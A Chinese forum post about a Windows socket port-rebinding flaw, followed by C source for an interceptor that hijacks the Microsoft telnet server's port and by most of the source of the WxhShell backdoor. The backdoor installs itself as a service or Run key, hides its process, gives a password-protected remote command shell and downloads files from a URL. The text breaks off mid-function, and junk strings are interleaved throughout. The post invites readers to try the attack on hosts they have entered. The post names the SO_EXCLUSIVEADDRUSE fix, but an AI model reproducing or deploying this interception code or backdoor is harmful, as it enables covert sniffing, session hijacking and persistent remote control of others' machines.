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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -`o22G3w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0DFxVH_xN  
mar BVFz~  
  saddr.sin_family = AF_INET; eaI!}#>R +  
`f9I#B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UF)4K3X  
7Q(5Nlfcz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7Q>*]  
dsh S+d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OEN!~-u  
2sOV3~bB  
  这意味着什么?意味着可以进行如下的攻击:   vZQ'  
uNV\_'9>Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HJn  
A\jX#gg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \v'\ Ea~  
+H7lkbW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $]G_^ji)K  
;&N;6V"}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _;Q1P gT  
3\xvy{r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q DQ$Zq[  
R0n# FL^E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8p?Fql}F [  
%z(nZ%,Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -}B&>w,5  
@} 61D  
  #include F .(zS(q  
  #include ;eG,T-:  
  #include L %[om c?  
  #include    q5irKT*Hs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wi]F\ q"Y^  
  int main() :CQ-?mT^LA  
  { a/Cd;T2  
  WORD wVersionRequested; .7ZV: m  
  DWORD ret; k|^e=I   
  WSADATA wsaData; 3}@!TI  
  BOOL val; 5 ,0fL  
  SOCKADDR_IN saddr; X0,?~i6Q  
  SOCKADDR_IN scaddr; 1Fado$# 7  
  int err; n6PXPc  
  SOCKET s; zF6]2Y?k%  
  SOCKET sc; R(?g+:eCpM  
  int caddsize; iY /N%T;  
  HANDLE mt; tntQO!pM  
  DWORD tid;   q&h&GZ  
  wVersionRequested = MAKEWORD( 2, 2 ); =+T$1  
  err = WSAStartup( wVersionRequested, &wsaData ); Qz+hS\yx  
  if ( err != 0 ) { pV>M, f  
  printf("error!WSAStartup failed!\n"); s/,wyxKd  
  return -1; '\ $2+*  
  } 4v"9I(  
  saddr.sin_family = AF_INET; cMCGaaLU  
   poqcoSL"}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r.5}Q?  
*LTFDC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &uh|! lD  
  saddr.sin_port = htons(23); ;E8.,#/a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <5s51b <  
  { u;fD4CA  
  printf("error!socket failed!\n"); *Txt`z[|  
  return -1; cax]l O  
  } Ylc[ghx  
  val = TRUE; )F\tU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jon<?DQj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e5!LbsJv  
  { H]LH~l  
  printf("error!setsockopt failed!\n"); i)Hjmf3  
  return -1; >Cb[  
  } Vf67gux  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fh0a "#L{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8._ A[{.f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L#Mul&r3x0  
2L#$WuM~^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LRqBP|bjCD  
  { hJavi>374  
  ret=GetLastError(); < sJ  
  printf("error!bind failed!\n"); (p2jigP7a[  
  return -1; w`kn!k8  
  } e12.suv  
  listen(s,2); yG)zrRU  
  while(1) zj ;'0Zu  
  { Y<'T;@  
  caddsize = sizeof(scaddr); ]ov>VF,<  
  //接受连接请求  vO 85h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : Gp,d*M  
  if(sc!=INVALID_SOCKET) no*p`a *  
  { T+_pmDDN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); STDT]3.  
  if(mt==NULL) 8Bvc# +B  
  { iWbrX1 I+  
  printf("Thread Creat Failed!\n"); YQyf:xJ  
  break; ~ kdxJP"  
  } 2|xNT9RW  
  } r Z0+mS'/G  
  CloseHandle(mt); pDGX$1O"  
  } X>C l{.  
  closesocket(s); B|Y6;4?  
  WSACleanup(); vJ__jO"Sq  
  return 0; rkF]Q_'`t;  
  }   _raj b1!  
  DWORD WINAPI ClientThread(LPVOID lpParam) `K.2&6xc  
  { 0XCtw6  
  SOCKET ss = (SOCKET)lpParam; $ e<&7  
  SOCKET sc; i ez@j  
  unsigned char buf[4096]; xn49[T  
  SOCKADDR_IN saddr; [FHSFr E,5  
  long num; sb"etc`w%-  
  DWORD val; ;naD`([  
  DWORD ret; _lrCf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <IWO:7*#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I:4m]q b  
  saddr.sin_family = AF_INET; $F|3VQ~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [whX),3>  
  saddr.sin_port = htons(23); N? r{Y$x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c2aX_ "  
  { $9pFRQC'q  
  printf("error!socket failed!\n"); KTV~g@Jf  
  return -1; Xx~za{p  
  } FOB9J.w4  
  val = 100; D$W&6'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (Sr D  
  { D -Goi-4  
  ret = GetLastError(); x7qVLpcL3z  
  return -1; }@ Nurs)%_  
  } 'l+).},  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W\V'o Vt  
  { xE$(I<:  
  ret = GetLastError(); {H FF|Dx  
  return -1; O?<R.W<QI  
  } oxN~(H)/ #  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _^+z2m+ ~N  
  { %SW"{GnO ^  
  printf("error!socket connect failed!\n"); pIKQx5;  
  closesocket(sc); p<5ED\;N;  
  closesocket(ss); W,<P])  
  return -1; Q;]g9T[)  
  } S2/6VoGE  
  while(1) 8]!%mrS  
  { r|U'2+vn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @D<q=:k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mJBvhK9%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S+03aJNN#  
  num = recv(ss,buf,4096,0); ''+6qH-.|]  
  if(num>0) 7,.Hj&'B  
  send(sc,buf,num,0); |a7W@LVYD  
  else if(num==0) ?}y{tav=  
  break;  >'>onAIL  
  num = recv(sc,buf,4096,0); 8cqH0{  
  if(num>0) Z^AOV:|m  
  send(ss,buf,num,0); q.s2x0  
  else if(num==0) }!tJ3G  
  break; CRK%%;=>  
  } =|lw~CW  
  closesocket(ss); |P{K\;-  
  closesocket(sc); H-&Z+4 +Xs  
  return 0 ; f9A^0A?c  
  } V2< 4~J2:9  
m_{?py@tZ  
. zM  
========================================================== dgb#PxOMH  
Ho3$T  
下边附上一个代码,,WXhSHELL 'Xl[ y  
9|Z25_sS  
========================================================== 1 J3h_z6/  
Ok7i^-85  
#include "stdafx.h" i *W9 4  
oLJP@J  
#include <stdio.h> $O}:*.{(W  
#include <string.h> yDwG,)m 4s  
#include <windows.h> ;t'~  
#include <winsock2.h> &X 0qH8W  
#include <winsvc.h> }O+F#/6  
#include <urlmon.h> o.qeF4\d6  
u`Ew^-">  
#pragma comment (lib, "Ws2_32.lib")  2=X\G~a  
#pragma comment (lib, "urlmon.lib") bERYC|  
$S~e"ca1  
#define MAX_USER   100 // 最大客户端连接数 y:TLGQ0  
#define BUF_SOCK   200 // sock buffer JTH8vk:@  
#define KEY_BUFF   255 // 输入 buffer y#[PQ T  
%G~ f>  
#define REBOOT     0   // 重启 cN/8 b0C  
#define SHUTDOWN   1   // 关机 =c{ / Z  
Im9^mVe  
#define DEF_PORT   5000 // 监听端口 < * )u\A  
V~rF`1+5N  
#define REG_LEN     16   // 注册表键长度 giU6f!%  
#define SVC_LEN     80   // NT服务名长度 ?n$;l-m[  
ifA{E}fRZP  
// 从dll定义API Zj )Bd* a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gy*6I)l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hhu !'(j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Isa]5>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *ujn+0)[  
`WDN T0@M  
// wxhshell配置信息 oM`[&m.,  
struct WSCFG { E 9=a+l9  
  int ws_port;         // 监听端口 G.KZZ-=_4  
  char ws_passstr[REG_LEN]; // 口令 BdHLow  
  int ws_autoins;       // 安装标记, 1=yes 0=no y}NBJ  
  char ws_regname[REG_LEN]; // 注册表键名 92}UP=RW!  
  char ws_svcname[REG_LEN]; // 服务名 16q"A$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6 /T_+K.k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pgg4<j_mn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $i@~$m7d-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I4%&/~!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ve.rp F\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 # [c`]v  
;IX3w:Aw  
}; SWujj,-[  
q.L0rY!  
// default Wxhshell configuration #S+GI!  
struct WSCFG wscfg={DEF_PORT, cE S3<`[K  
    "xuhuanlingzhe", wpw~[xd  
    1, SOo/~ giz|  
    "Wxhshell", C!N&uNp@s  
    "Wxhshell", .VF4?~+M-  
            "WxhShell Service", Rg! [ic !  
    "Wrsky Windows CmdShell Service", g`)2I+L7  
    "Please Input Your Password: ", 0w?\KHT  
  1, 't3/< h<  
  "http://www.wrsky.com/wxhshell.exe", -P+( =U  
  "Wxhshell.exe" !2oe;q2X[G  
    }; }0Isi G  
x|/zn<\^  
// 消息定义模块 ?A7&SdJaO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  2lw0'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D.G+*h@ g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a@_.uD  
char *msg_ws_ext="\n\rExit."; #7OUqp  
char *msg_ws_end="\n\rQuit."; {Z<4  
char *msg_ws_boot="\n\rReboot..."; e-Z+)4fH  
char *msg_ws_poff="\n\rShutdown..."; [G{{f  
char *msg_ws_down="\n\rSave to "; FilHpnQCt  
B42.;4"T  
char *msg_ws_err="\n\rErr!"; !$ikH,Bh  
char *msg_ws_ok="\n\rOK!"; Bfw]#"N`  
=8`,,=P^  
char ExeFile[MAX_PATH]; *RKYdwnb  
int nUser = 0; (I~-mzu\  
HANDLE handles[MAX_USER]; BR5r K  
int OsIsNt; )cc:Z7p  
V6'"J  
SERVICE_STATUS       serviceStatus; 8 /Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yP\KIm!  
Ct[{>asun  
// 函数声明 ^S*~<0NQ'  
int Install(void); aNgaV$|2a  
int Uninstall(void); E )D*~2o/  
int DownloadFile(char *sURL, SOCKET wsh); l ,0]iVJ  
int Boot(int flag); pv%UsbY  
void HideProc(void); e2|2$|  
int GetOsVer(void); f1F#U @U  
int Wxhshell(SOCKET wsl); >W[8wR  
void TalkWithClient(void *cs); T 'pX)ZH  
int CmdShell(SOCKET sock); >jU.R;H5  
int StartFromService(void); .L'>1H]B  
int StartWxhshell(LPSTR lpCmdLine); ks=j v:  
_ 1[5~Pnh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nunTTE,iq%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X&sXss<fO%  
9J% ~?k  
// 数据结构和表定义 @ ]u nqCO  
SERVICE_TABLE_ENTRY DispatchTable[] = c%Y%c2([  
{ Jvt| q5  
{wscfg.ws_svcname, NTServiceMain}, 7r#U^d(  
{NULL, NULL} -AcLh0pc  
}; 0?525^   
:Rc>=)<7  
// 自我安装 E[bJ5o**#  
int Install(void) _W]qV2j  
{ L 1=HD  
  char svExeFile[MAX_PATH]; +VSJve |  
  HKEY key; \v bU| a  
  strcpy(svExeFile,ExeFile); *9((X,v@/  
#|76dU  
// 如果是win9x系统,修改注册表设为自启动 xwG=&+66  
if(!OsIsNt) { o*H j E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VH1PC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B '\^[  
  RegCloseKey(key); 5I9~OJ>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _gZ8UZ)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HIP6L,$  
  RegCloseKey(key); KWIH5* AM  
  return 0; n@[&SgZq  
    } <oG+=h  
  } ] fz0E:x  
} iK{ a9pt  
else { 86!"b  
7(B|NYq  
// 如果是NT以上系统,安装为系统服务 Z+h^ ie"g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "HTp1  
if (schSCManager!=0) -.= q6N4  
{ k@nx+fO}P  
  SC_HANDLE schService = CreateService <H3njv  
  ( iLf:an*vH  
  schSCManager, Dpp 3]en.  
  wscfg.ws_svcname, w7NJ~iy  
  wscfg.ws_svcdisp, vKYdYa\  
  SERVICE_ALL_ACCESS, z6e)|*cA$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]O2ku^yM  
  SERVICE_AUTO_START, )3g7dtq}  
  SERVICE_ERROR_NORMAL, v2R41*z,  
  svExeFile, %KL"f  
  NULL, L|4kv  
  NULL, !HyPe"`oL  
  NULL, 6@kKr  
  NULL, qa 'YZE`  
  NULL p?S:J`q  
  ); e R"XXF0u  
  if (schService!=0) |r*btyOJk  
  { FT'_{e!M  
  CloseServiceHandle(schService); :|/bEP]p/  
  CloseServiceHandle(schSCManager); 5&]|p'"W\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (CKx s I@  
  strcat(svExeFile,wscfg.ws_svcname); 7Yp;B:5@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ro{q':Z3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2Eg* Yb 1  
  RegCloseKey(key); ;4<CnC**  
  return 0; nHxos` Qx  
    } 3In` !@EJ  
  } Ek\f x*Lz  
  CloseServiceHandle(schSCManager); uJVu:E.#1  
} EacqQFErl  
} '^pA%I2D  
KfpDPwP@  
return 1; OU+oS,  
} PGZ.\i  
kb<Nuw  
// 自我卸载 u=B_cA}:  
int Uninstall(void) 9An_zrJ%i  
{ fRKO> /OT  
  HKEY key; GFd~..$  
-AwR$<q'  
if(!OsIsNt) { @ @$=MSN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #q.Q tDz  
  RegDeleteValue(key,wscfg.ws_regname); gbNPD*7g9  
  RegCloseKey(key); n]I_ LlbY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ct='Z E  
  RegDeleteValue(key,wscfg.ws_regname); j3 d=O!  
  RegCloseKey(key); (5[|h  
  return 0; fF !Mmm"  
  } AD$k`Cj  
} R:S Fj!W1  
} Rz% Px:M  
else { }m NP[L  
 e;8>/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .m_yx{FZ=  
if (schSCManager!=0) 5Gm,lNQAv  
{ A[L+w9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pC,MiV$c"  
  if (schService!=0) Gs$<r~Tg  
  { mlCw(i,  
  if(DeleteService(schService)!=0) { PZ2$ [s0W  
  CloseServiceHandle(schService); k]FP1\Y  
  CloseServiceHandle(schSCManager); -Si'[5@  
  return 0; rQT@:$ )  
  } Hb5^+.xur  
  CloseServiceHandle(schService); v|acKux=t  
  } C$`z23E  
  CloseServiceHandle(schSCManager); 4~-"k{Xt  
} b}'XDw   
}  Qj(q)!Ku  
"'p;Udt/Qm  
return 1; oj*5m+:>a  
} t{?UNW  
%v=z|d5-3  
// 从指定url下载文件 ^SnGcr|a'  
int DownloadFile(char *sURL, SOCKET wsh) 0] e=  
{ VgG*y#Qf$  
  HRESULT hr; #mY*H^jI]~  
char seps[]= "/"; UP=0>jjbn:  
char *token; @2Xw17[f35  
char *file; tj 6 #lM9  
char myURL[MAX_PATH]; ^G'8!!ys  
char myFILE[MAX_PATH]; qH'T~# S  
a>A29*q  
strcpy(myURL,sURL); S)Cd1`Gf  
  token=strtok(myURL,seps); B:qH7`s  
  while(token!=NULL) HrQBzS  
  { \YO1;\W  
    file=token; j48cI3C  
  token=strtok(NULL,seps); ,aS6|~ac4  
  } %!$ua_8  
8v)pPJr  
GetCurrentDirectory(MAX_PATH,myFILE); v,w/g|  
strcat(myFILE, "\\"); 'J~{8w,.  
strcat(myFILE, file); +^$FA4<~  
  send(wsh,myFILE,strlen(myFILE),0); @$'k1f(u>  
send(wsh,"...",3,0); ?H8w/{J   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dg~r%F  
  if(hr==S_OK) gaBt;@?:Q  
return 0; [/ uqH  
else tWL3F?wd  
return 1; \/,54c2  
Q" BIk =  
} v3 4!rL  
7eb^^a?  
// 系统电源模块 %g7 !4  
int Boot(int flag) /h'V1zL#  
{ k&|L"N|w  
  HANDLE hToken; qk~ni8  
  TOKEN_PRIVILEGES tkp; JmB7tRM8  
Lf_`8Ux  
  if(OsIsNt) { `` (D01<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0/?V _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1iBOf8  
    tkp.PrivilegeCount = 1; 5Z{i't0CQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u'cM}y&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [ L% -lJ  
if(flag==REBOOT) { vU&I,:72 H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HSHY0  
  return 0; P!yE{_%  
} WP-?C<Iw  
else { N{v <z 6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6jjmrc[#}X  
  return 0; >#).3  
} (Qmpz  
  } ju#/ {V;D  
  else { =$3]%b}  
if(flag==REBOOT) { d5&avL\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZsL0  
  return 0; [pi!+k  
} O'y8[<  
else { yHL2 !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E5"%-fAJ  
  return 0; b:Oa4vBa  
} En$-,8\%  
} F?Cx"JYix  
_r+2o-ZR  
return 1; $(pzh:|  
} *gMo(-tN  
nDx}6}5)  
// win9x进程隐藏模块 <PL94  
void HideProc(void) SwHrHj  
{ o/273I  
MKIX(r( |  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \zioIfHm  
  if ( hKernel != NULL ) >Qg`Us#y  
  { jyRSe^x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _bB:1l?V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b4%sOn,  
    FreeLibrary(hKernel); 4PG]L`J{  
  } \x D.rBbt  
aOZSX3;wg  
return; {RFpTh7f:  
} +\~.cP7[  
r|2Y|6@  
// 获取操作系统版本 9m^"ca  
int GetOsVer(void) J8Bz|.@Q  
{ L{_Q%!h3]  
  OSVERSIONINFO winfo; _7df(+.{<A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tjba @^T  
  GetVersionEx(&winfo); 7=yV8.cD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zd$a}~4~  
  return 1; ,h1 z8.wD|  
  else *@6,Sr)_  
  return 0; )/VhkSXbG!  
} 67Z@Hg  
5~GHAi  
// 客户端句柄模块 n/$1&x1  
int Wxhshell(SOCKET wsl) k=D_9_  
{ &&Ruy(&]I  
  SOCKET wsh; r(=  
  struct sockaddr_in client; yH}(0  
  DWORD myID; t){})nZ/4  
}pk)\^/w/  
  while(nUser<MAX_USER) z|,YO6(L  
{ LLp/ SWe  
  int nSize=sizeof(client); /[ _aw&W}Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]o}g~Xn  
  if(wsh==INVALID_SOCKET) return 1; :E ]Ys  
hKa<9>MI`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kY d'6+m  
if(handles[nUser]==0) :iW+CD)j  
  closesocket(wsh); -|s w\Q  
else mO];+=3v8  
  nUser++; f.Wip)g  
  } (bpO>4(S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CG@3z@*?.  
5P=3.Mk  
  return 0; OU2.d7  
} Wp7lDx  
&sh5|5EC  
// 关闭 socket M*XAyo4 fI  
void CloseIt(SOCKET wsh) -J7BEx  
{ e5\/:HpI  
closesocket(wsh); kn2s,%\`<p  
nUser--; [ 6+iR  
ExitThread(0); +XL^dzN[|$  
} Ht >5R  
KO*# ^+g  
// 客户端请求句柄 z$#q'+$  
void TalkWithClient(void *cs) 5q<cZ)v#&  
{ NX wthc3  
\YXzq<7  
  SOCKET wsh=(SOCKET)cs; }_,\yC9F  
  char pwd[SVC_LEN]; T!-*;yu  
  char cmd[KEY_BUFF]; +qN}oyL  
char chr[1]; j1[Ng #.  
int i,j; Vf28R,~m  
MR")  
  while (nUser < MAX_USER) { rw:z|-r  
N{/):O  
if(wscfg.ws_passstr) { 6-"@j@l5<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vr/UY79  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (2 nSZRB  
  //ZeroMemory(pwd,KEY_BUFF); EI+RF{IKh  
      i=0; "==fWf  
  while(i<SVC_LEN) { =rL%P~0wq  
jh7-Fl`  
  // 设置超时 I8ZBs0sfF{  
  fd_set FdRead; zG IxmJ.  
  struct timeval TimeOut; ANIx0*Yl(  
  FD_ZERO(&FdRead); Ax"]+pb  
  FD_SET(wsh,&FdRead); @4)NxdOE  
  TimeOut.tv_sec=8; Oy(f h%k#  
  TimeOut.tv_usec=0; <Z b~tYp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eyM<#3\\S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /x2-$a:<  
=&%}p[ 3g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V47z;oMXct  
  pwd=chr[0]; TH[xSg  
  if(chr[0]==0xd || chr[0]==0xa) { *A<vrkHz  
  pwd=0; 7'IcgTWDZy  
  break; rdQKzJiX=U  
  } 7+(on  
  i++; `kE ;V!n?  
    } 38<Z=#S  
DxM$4  
  // 如果是非法用户,关闭 socket KM-d8^\:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1>~bzXY#  
} 0H9UM*O  
#BLx +mLq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pL [JGn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \&!qw[;O  
k-V3l  
while(1) { Py@/\V  
.z+S @s[O  
  ZeroMemory(cmd,KEY_BUFF); -eE r|Gs)  
pY~/<lzW  
      // 自动支持客户端 telnet标准   7\0}te  
  j=0;  a,ff8Qm  
  while(j<KEY_BUFF) { Lg%3M8-W~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nrEG4X9  
  cmd[j]=chr[0]; If>bE!_BO  
  if(chr[0]==0xa || chr[0]==0xd) { )44c[Z  
  cmd[j]=0; @PL.7FM<v  
  break; _O,k0O   
  } Q[n*ce7L0  
  j++; }Fq~!D Ee  
    } W1;QPdz:  
Xp67l!{v  
  // 下载文件 >TQNrS^$J  
  if(strstr(cmd,"http://")) { s~p(59  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;2y4^  
  if(DownloadFile(cmd,wsh)) =&K8~   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iNCT(N~.  
  else f>CJ1 ;][{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <q`'[1Y4  
  } 7Gwo:s L  
  else { oKMr Pr[`  
7 /6 Zp?  
    switch(cmd[0]) { zG* >g  
  N^Hj%5  
  // 帮助 jk\z-hd  
  case '?': { 0h-'TJg*sk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fxQ4kiI  
    break; `GUGy.b  
  } "Snt~:W>  
  // 安装 pN4gHi=  
  case 'i': { ?hmuAgOtbh  
    if(Install()) 8wEUly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XN&cM,   
    else +\R__tx;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]N;\AXZ7  
    break; gyz_$T@x  
    } X,A]<$ACu%  
  // 卸载 YD{Ppz  
  case 'r': { :.P{}\/  
    if(Uninstall()) @ogj -ol&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &cp `? k  
    else J#?` l,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *'cyFu$  
    break; jwL\|B oE  
    } fW w+'xF!  
  // 显示 wxhshell 所在路径 l`<1Y|  
  case 'p': { ^)p+)5l   
    char svExeFile[MAX_PATH]; J kxsua  
    strcpy(svExeFile,"\n\r"); .<zN/&MXf  
      strcat(svExeFile,ExeFile); z -c1,GOD  
        send(wsh,svExeFile,strlen(svExeFile),0); C=Tq/L w  
    break; {ePtZyo0  
    } ZOBcV,K  
  // 重启 ipe8U1Sc  
  case 'b': { Ya `$.D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m:D0O]2  
    if(Boot(REBOOT)) 6r.#/' "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2.GNk  
    else { ~s{ V!)0  
    closesocket(wsh); {)n@Rq\=v  
    ExitThread(0); d:Oo5t)MN  
    } ` 7P%muY.  
    break;  X`20=x  
    } >{)\GK0i 7  
  // 关机 nX_w F`n"  
  case 'd': { 8ZF!}kb0F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }nRTw2-z  
